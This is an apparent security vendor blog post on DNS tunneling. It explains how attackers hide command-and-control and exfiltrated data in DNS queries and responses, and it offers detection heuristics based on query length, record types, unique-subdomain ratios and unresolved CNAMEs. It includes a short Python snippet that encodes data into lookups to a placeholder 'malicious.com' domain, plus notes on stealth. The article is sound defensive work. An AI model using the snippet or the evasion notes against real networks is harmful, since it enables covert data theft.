blog-banner-generic-blue.png

blog-thumb-generic-blue.png

Getting started with EQL

<p>DNS tunneling is a technique that misuses Domain Name System (DNS) to encode another protocol’s data into a series of DNS queries and response messages. It received a lot of attention a few years ago, when malware families like <a href="http://www.few.vu.nl/~herbertb/papers/feederbot_ec2nd11.pdf">Feederbot</a> and <a href="https://www.scmagazine.com/morto-worm-spreading-via-remote-desktop-connections/article/559261/">Morto worm</a> were discovered using DNS tunneling as a command and control (C&C) channel.
</p><p>However, as Internet architecture has evolved, many of the techniques that were developed to detect DNS tunnels now create false positives. Evolutionary changes to the Internet, which include the widespread use of Content Delivery Networks and unconventional applications of DNS such as reputation/blocklist lookups and telemetry, has made it harder to detect DNS tunnels. Because of the challenges, and given their <a href="https://www.pcr-online.biz/resellers/39-of-eu-businesses-suffering-data-theft">ongoing popularity</a> as an attack vector for data theft, I revisited this topic and recently <a href="https://www.irongeek.com/i.php?page=videos/bsidescharm2018/track-2-06-plight-at-the-end-of-the-tunnel-anjum-ahuja">presented</a> some of the results of my research at <a href="http://www.bsidescharm.com/">BSides Charm</a>. In this blogpost, I’ll walk through the basics of DNS tunneling, some challenges with detection, and offer recommendations for detecting these attacks while limiting false positives.
</p> <h2>Back to basics</h2><p><a href="https://www.ietf.org/rfc/rfc1035.txt">DNS</a> is mainly known for mapping domain names to IP addresses. This is achieved using A and AAAA records for IPv4 and IPv6 records respectively. In addition to these records, DNS also provides a range of other record types for a wide variety of applications. For example, CNAME records are used to create aliases for a domain name, MX records are used to discover Mail exchange, and TXT records are used to exchange arbitrary data associated with the domain.
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltf5fd59144e58a787/5e0cea33c848085fa46e72c0/endgame-plight-tunnel-upstream-data-blog.png" data-sys-asset-uid="bltf5fd59144e58a787" alt="endgame-plight-tunnel-upstream-data-blog.png" style="display: block; margin: auto;"></p><figcaption>Upstream data in DNS query field and downstream data in DNS response RR fields</figcaption><p>Since DNS is such a fundamental protocol, outbound DNS access is enabled in even very restrictive environments. DNS tunneling abuses this ubiquity of DNS to create covert channels for C&C or data exfiltration. DNS tunnels work by sending upstream data in a DNS query field, and receive downstream data in DNS response RR fields.
</p><p>A domain name is limited to 255 characters from the character set [a-z0-9-]. In order to send binary data upstream via this field, the data must be encoded to meet this character set requirement. The following code illustrates how upstream data may be encoded.
</p><pre class="prettyprint">data = base32(binary_data) 
csize = 255 – len(‘.malicious.com’) 
for chunk in (data[i:i+csize] for i in range(0, len(data), csize)):   
 labels = [chunk[j:j+63] for j in range(0, len(chunk), 63)] 
 fqdn = ‘.’.join(labels) + “.malicious.com” 
socket.gethostbyname(fqdn)
</pre><p>The downstream data is sent using various resource records (RR). Each RR format has a size and character set limitation. PRIVATE and TXT records allow 216 [a-zA-Z0-9-+] characters. CNAME, MX and SRV records have the same format as a DNS query. The size and character-set restrictions of each RR record put a limitation on the amount of data and the encoding function that can be used. The adversary’s decision to use one RR type over the other in a covert channel comes down to stealth versus bandwidth as data transfer requirements are balanced with the desire to remain undetected.
</p><p>DNS tunneling has some properties that set it apart from other tunneling techniques like ICMP tunneling:
</p><ol>
	<li><strong>DNS is ubiquitous.</strong> It is enabled even in the most restrictive networks. Airline and hotel WiFi DHCP and DNS are two protocols that are usually enabled before all the traffic is restricted behind a paywall.</li>
	<li><strong>DNS tunneling is relatively </strong><a href="https://ieeexplore.ieee.org/document/8142501/"><strong>performant</strong></a><strong>. </strong>As far as covert tunneling protocols go, DNS tunneling performs well in terms of latency and bandwidth.</li>
	<li><strong>It doesn’t require a direct connection between the attacker and the victim.</strong> The DNS traffic is usually relayed through a recursive resolver that performs queries iteratively on behalf of the client. Netflow collected on the host will not reveal a direct connection to the attacker.</li>
	<li><strong>Upstream only channels can be very stealthy.</strong> If an attacker is only interested in an upstream channel, for example data exfiltration, DNS tunneling doesn’t have to use the DNS responses. It may allow all of the DNS queries to fail with NXDOMAIN or a FORMAT_ERR, and go under the radar of DNS monitoring applications.</li>
	<li><strong>Built-in load balancing.</strong> Lastly, DNS tunnels don’t have to use a single domain name to exchange traffic. It can be spread over multiple domains sharing the same nameserver. This provides additional stealth and resilience, since no single domain would stand out as on outlier in the network traffic baselines.</li>
</ol> <h2>The False Positive Challenge</h2><p>DNS tunnels encode binary data into an ASCII format, which is then transferred as a domain name in a DNS query. Such domain names, generated from encoded binary data, have high entropy. Moreover, in order to achieve high bandwidth, DNS tunnels encode the largest possible chunk of binary data in each packet, yielding large DNS packets. So, given a stream of DNS traffic from a DNS tunnel, one would observe a large number of long subdomains under the registered domain, each with high entropy.
</p><p>In contrast, web traffic is usually comprised of domain names that are short, easy to remember, and derived from a spoken language. Therefore, normal DNS traffic is expected to have smaller DNS packets containing domain names with low entropy.
</p><p>High entropy, a large number of subdomains, and large packet size may seem like reliable indicators of a DNS tunnel. But that approach now yields an unmanageable volume of false positives.
</p><p>One of the primary reasons for this is the advent of CDNs (Content Delivery Networks). Consider a domain that is hosted on a large CDN. The content delivery mechanism usually works by creating a CNAME record (i.e. alias), for each hosted customer domain to a unique, often random-looking subdomain of a CDN domain. The DNS resolution of this CNAME is how the content delivery optimization is actually delivered.
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltba5dd498aa024d32/5e0cea8336b15c3efa68449c/endgame-plight-tunnel-dns-baltimore-sun-blog.png" data-sys-asset-uid="bltba5dd498aa024d32" alt="endgame-plight-tunnel-dns-baltimore-sun-blog.png" style="display: block; margin: auto;"></p><figcaption>DNS resolution of <a href="http://www.baltimoresun.com/">www.baltimoresun.com</a></figcaption><p>It is easy to see the parallels of this property to a DNS tunnel - a large number of subdomains, each with high entropy.
</p><p>This large number of subdomains may not be limited to a small set of CDN domains. Some services create a large number of sub-domains directly under the customer’s primary registered domain.
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt322081a9375c6d6d/5e0ceab04dfaba3e76b449dd/endgame-plight-tunnel-dns-toms-hardware-blog.png" data-sys-asset-uid="blt322081a9375c6d6d" alt="endgame-plight-tunnel-dns-toms-hardware-blog.png" style="display: block; margin: auto;"></p><figcaption>One of the many DNS queries generated from browsing <a href="https://www.tomshardware.com/">www.tomshardware.com</a></figcaption><p>In addition, some services utilize DNS for non-conventional use cases like file/domain reputation lookups, telemetry etc. <a href="https://www.spamhaus.org/zen/">Spamhaus</a> provides a DNSBL service to lookup reputation of domains. <a href="http://www.team-cymru.com/IP-ASN-mapping.html#dns">Team Cymru</a> provides an extensive ASN & BGP peer lookup service over DNS. DNS traffic to these services also yield false positives.
</p><p>In the past, SOCs have gotten away with reactive whitelisting. But as more and more such services come online, a whitelisting approach just doesn’t scale.
</p>  <h2>Layered Approach to Detecting DNS Tunnels</h2><p>Given these challenges, we need a layered approach to sift through DNS traffic, with each layer attacking a particular aspect of a DNS tunnel. These layers consist of record types and sizes and access patterns.
</p> <h3>RECORD TYPES AND RECORD SIZES</h3> <h4>Resource Record types</h4><p>NULL and Private RR types have very limited valid use cases. These RRs in DNS traffic should raise an alarm. TXT records have some valid domain specific use cases. But in spite of that, the number and size of TXT RRs per domain can be used to detect the simplest of DNS tunnels.
</p> <h4>Question and RR size</h4><p>DNS packet size alone is no longer a good indicator of DNS tunnels. Many domains provide a large number of records for redundancy and load balancing. In addition, AAAA resource records are large and can skew the baseline. If we dig deeper into the DNS packet, query length and individual RR size can be a good feature used for detection.
</p><p>In particular, subdomains greater than 180 characters and two or more labels greater than 52 characters should be considered highly suspicious. These thresholds are evident from the following two graphs plotting maximum query length on the x-axis and the frequency of observing that value expressed on a log scale on the y-axis. Benign domains are plotted in blue and malicious DNS tunnels are plotted in the red.
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltca3950a3c8779631/5e0ceaf067e97c652d3c82fe/endgame-plight-tunnel-max-query-len-blog.png" data-sys-asset-uid="bltca3950a3c8779631" alt="endgame-plight-tunnel-max-query-len-blog.png" style="display: block; margin: auto;"></p><figcaption>Maximum query length on the x-axis, frequency in log scale on the y-axis</figcaption><p>Similarly, the size of individual RRs in each response can be a good indicator of the existence of a DNS tunnel. Consider the following two graphs plotting the maximum RR length on the x-axis and the frequency of observing that value expressed on a log scale on the y-axis. Benign domains are plotted in blue and DNS tunnel domains are plotted in red.
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/bltd30ec5a429ec155a/5e0ceb1e99f6f64041a2b3b2/endgame-plight-tunnel-max-record-len-blog.png" data-sys-asset-uid="bltd30ec5a429ec155a" alt="endgame-plight-tunnel-max-record-len-blog.png" style="display: block; margin: auto;"></p><figcaption>Maximum Resource Record length on the x-axis, frequency in log scale on the y-axis</figcaption><p>Outliers in the subdomain’s length, number of labels in the subdomain, and maximum resource record length together help narrow down the field to a small set of potential candidates of a DNS tunnel.
</p> <h3>ACCESS PATTERNS</h3> <h4>Unique subdomains</h4><p>As mentioned earlier, the number of subdomains per domain doesn’t always indicate a DNS tunnel. You’ll find that CDNs domain names (e.g., akamaiedge[.]com) or domains that host its user content on subdomains (e.g., blogspot.com) also create a large number of subdomains. What separates a DNS tunnel domain from other domains that have a large number of subdomains is repeat queries. In particular, subdomains created by DNS tunnels are usually only queried once. Therefore, the ratio of the number of unique subdomains to the number of queries per domain works as a much better indicator of a DNS tunnel.
</p><h4>Loose ends</h4><p>Lastly, DNS tunnels leave some loose ends. To understand that, let’s consider the response from dig www[.]amazon[.]com :
</p><p><img src="https://images.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt0c7322dd81d253bd/5e0ceb5c028cba3ef4ec79d7/endgame-plight-tunnel-dns-res-amazon-blog.png" data-sys-asset-uid="blt0c7322dd81d253bd" alt="endgame-plight-tunnel-dns-res-amazon-blog.png" style="display: block; margin: auto;"></p><figcaption>DNS resolution of <a href="https://www.amazon.com/">www.amazon.com</a></figcaption><p>A CNAME record sets another domain as an alias of the queried domain. The new CNAME FQDN may in turn be an alias of a third domain. But, eventually, the alias domain resolves to an IP address, either with a A/AAAA record inserted proactively, or via an explicit query. The DNS query is usually a precursor to an IP connected to the resolved FQDN. The same is true for MX or SRV records. DNS tunnels, on the other hand, don’t have that requirement. There is no intention to ever make an IP connection to the resolved domain name. If we track all RR for a domain and find out that it leaves a large number of those new RR unresolved to an IP address, it is a strong indicator of a potential DNS tunnel.
</p> <h2>Conclusion</h2><p>Ubiquity of DNS makes it easy for an attacker to create DNS tunnels and go undetected under the large volume of DNS logs that an enterprise usually generates. But it isn’t particularly hard to employ the aforementioned techniques to detect DNS tunnels. While DNS tunnels may successfully hide the data in the protocol fields, it is much harder to feign the behavior and access patterns of a benign use of DNS.
</p><p>Now that we can detect DNS tunnels reliably, it is important to provide a final word on DNS privacy and its applications on DNS tunneling. There has been a lot of interest lately in providing DNS privacy to consumers. There are two protocols that continue to garner support and widespread deployment - DOH (DNS over HTTPS) and DNS over TLS. These protocols provide confidentiality to DNS lookups to thwart passive introspection. In the future, DNS tunnels may also utilize these protocols to evade detection. In turn, our detection mechanisms will evolve by relying more on the access patterns and high order behaviors, than on packet introspection.
</p>

Plight at the end of the tunnel

Start free trial

Blog Footer CTA

Sign up for Elastic Cloud free trial

Anjum Ahuja

The content on this page is not available in the selected language. As Elastic grows globally, we continue to support content in multiple languages.

The content on this page is not available in the selected language.

O conteúdo desta página não está disponível no idioma selecionado. A Elastic está trabalhando para garantir que o conteúdo esteja disponível em vários idiomas. Agradecemos a compreensão.

<p>By submitting you acknowledge that you've read and agree to our <a href="/legal/elastic-cloud-account-terms" target="_self">Terms of Service</a>, and you agree to receive the <a href="/legal/privacy-statement#how-we-use-the-information" target="_self">selected communications</a> at the contact details you provided above. See <a href="/legal/privacy-statement/" target="_self">Elastic’s Privacy Statement</a> for more details or to opt-out at any time.</p>

Communication Preferences - ONLY for /communication-preferences

<p>Ao enviar a confirmação, você reconhece que leu e concorda com nossos <a href="/pt/legal/elastic-cloud-account-terms" target="_self">Termos de Serviço</a> e também concorda em receber <a href="/pt/legal/privacy-statement#how-we-use-the-information" target="_self">comunicações especiais</a> por meio dos dados de contato que forneceu acima. Consulte a <a href="/pt/legal/privacy-statement/" target="_self">Declaração de Privacidade da Elastic</a> para saber mais detalhes ou para cancelar a qualquer momento.</p>

<p>By submitting you acknowledge that you've read and agree to our <a href="/legal/serverless-preview-terms" target="_blank">Terms of Service</a>, and that Elastic may <a href="/legal/privacy-statement#how-we-use-the-information" target="_blank">contact you</a> about our related products and services, using the details you provide above. See <a href="/legal/privacy-statement/" target="_blank">Elastic’s Privacy Statement</a> for more details or to opt-out at any time.</p>

Serverless GDPR Text

<p>Ao enviar a confirmação, você reconhece que leu e concorda com nossos <a href="/pt/legal/serverless-preview-terms" target="_self">Termos de Serviço</a> e que a Elastic pode <a href="/pt/legal/privacy-statement#how-we-use-the-information" target="_self">entrar em contato com você</a> para divulgar nossos produtos e serviços relacionados usando os dados que você forneceu acima. Consulte a <a href="/pt/legal/privacy-statement/" target="_self">Declaração de Privacidade da Elastic</a> para saber mais detalhes ou para cancelar a qualquer momento.</p>

<p>By submitting you agree to <a href="/agreements/global/cloud-services-monthly" rel="nofollow">Elastic Cloud Terms of Service</a>. Your personal data will be processed in accordance with <a href="/legal/privacy-statement">Elastic's Privacy Statement</a>.</p>

Cloud Trial GDPR Text

<p>Ao enviar, você concorda com os <a href="/pt/agreements/global/cloud-services-monthly" rel="nofollow">Termos de Serviço do Elastic Cloud</a>. Seus dados pessoais serão tratados de acordo com a <a href="/pt/legal/privacy-statement">Declaração de Privacidade da Elastic</a>.
</p>

<p>By submitting you acknowledge that you've read and agree to our <a href="/legal/terms-of-use" target="_blank">Terms of Service</a>, and that Elastic may <a href="/legal/privacy-statement#how-we-use-the-information" target="_blank">contact you</a> about our related products and services, using the details you provide above. See <a href="/legal/privacy-statement/" target="_blank">Elastic’s Privacy Statement</a> for more details or to opt-out at any time.</p>

Newsletter GDPR Text

<p>Ao enviar a confirmação, você reconhece que leu e concorda com nossos <a href="/pt/legal/terms-of-use" target="_self">Termos de Serviço</a> e que a Elastic pode <a href="/pt/legal/privacy-statement#how-we-use-the-information" target="_self">entrar em contato com você</a> para divulgar nossos produtos e serviços relacionados usando os dados que você forneceu acima. Consulte a <a href="/pt/legal/privacy-statement/" target="_self">Declaração de Privacidade da Elastic</a> para saber mais detalhes ou para cancelar a qualquer momento.</p>

Explore similar demos

Explore outras demonstrações semelhantes

Overview

Load More

Speakers

Close

See more insights

Author

Articles by

Learn more

Watch now (no PT)

Watch now

See all top stories

All (no PT translation)

Contact information

Press Release

Share on Reddit

Share this story

Share by Email

Thank you for your interest!

Contact Info

Follow us on Youtube

Share on LinkedIn

Follow us on LinkedIn

Search Integrations

All Solutions

Video for

Follow us on Twitter

See when this webinar starts in my time zone

Consultar a hora de início do webinar no meu fuso horário

Register to Watch

Register now

See All Posts

Can't make it? Register and we'll send you the recording. You'll also receive an email with related content

Não vai conseguir participar? Inscreva-se e nós lhe enviaremos a gravação. Você também receberá um email com conteúdo relacionado.

Author

Articles by Anjum Ahuja

Getting started with EQL

Plight at the end of the tunnel

Sign up for Elastic Cloud free trial